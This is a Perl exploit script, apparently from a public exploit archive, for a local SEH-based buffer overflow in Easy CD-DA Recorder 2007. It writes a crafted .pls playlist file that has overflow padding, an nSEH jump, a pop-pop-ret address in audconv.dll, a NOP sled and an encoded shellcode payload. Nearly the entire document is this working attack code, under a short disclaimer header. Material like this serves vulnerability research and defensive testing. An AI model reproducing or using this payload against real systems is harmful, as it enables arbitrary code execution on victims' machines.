Easy CD-DA Recorder 2007 – Local Buffer Overflow (SEH)
# Exploit Title : Easy CD-DA Recorder 2007 SEH Buffer Overflow # Date : June 7, 2010 # Author : chap0 [http://www.seek-truth.net] # Software Link : http://download.cnet.com/Easy-CD-DA-Recorder/3000-2646_4-10059726.html # Tested on : Windows XP SP3 En # Type of vuln : SEH # Greetz to : Corelan Security Team # The Crew : http://www.corelan.be:8800/index.php/security/corelan-team-members/ # Advisory : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-048 # -------------------------------------------------------------------------------------- # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # Corelan does not want anyone to use this script # for malicious and/or illegal purposes # Corelan cannot be held responsible for any illegal use. # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. # # Code : print "|------------------------------------------------------------------|\n"; print "| __ __ |\n"; print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n"; print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n"; print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n"; print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n"; print "| |\n"; print "| http://www.corelan.be:8800 |\n"; print "| |\n"; print "|-------------------------------------------------[ EIP Hunters ]--|\n\n"; print "[+] Exploit for Easy CD-DA Recorder \n"; print "[+] Preparing payload\n"; sleep(1); my $junk="\x41" x 1108; my $nseh="\xeb\x06\x90\x90"; my $seh= "\x70\x80\x08\x10"; # ppr 0x10088070 [audconv.dll] my $nops="\x90" x 24; my $shellcode= "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54". "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x44\x4e\x53\x4b\x48\x4e\x47". "\x45\x50\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x51\x4b\x38". "\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x38\x46\x43\x4b\x38". "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c". "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e". "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x38". "\x4f\x45\x46\x52\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x34". "\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x38\x4e\x31\x4b\x48". "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x43". "\x42\x4c\x46\x56\x4b\x38\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x47". "\x4e\x30\x4b\x58\x42\x34\x4e\x30\x4b\x38\x42\x57\x4e\x51\x4d\x4a". "\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x58\x42\x4b". "\x42\x50\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x53\x4f\x35\x41\x53". "\x48\x4f\x42\x56\x48\x55\x49\x48\x4a\x4f\x43\x48\x42\x4c\x4b\x37". "\x42\x45\x4a\x46\x42\x4f\x4c\x48\x46\x30\x4f\x55\x4a\x46\x4a\x39". "\x50\x4f\x4c\x48\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56". "\x4e\x46\x43\x46\x42\x30\x5a"; $padding = "\x41" x 10000; my $payload = $junk.$nseh.$seh.$nops.$shellcode.$padding; open (myfile, '>easy.pls'); print myfile $payload; close (myfile); print "[+] Storm the Gates of Hell\n" |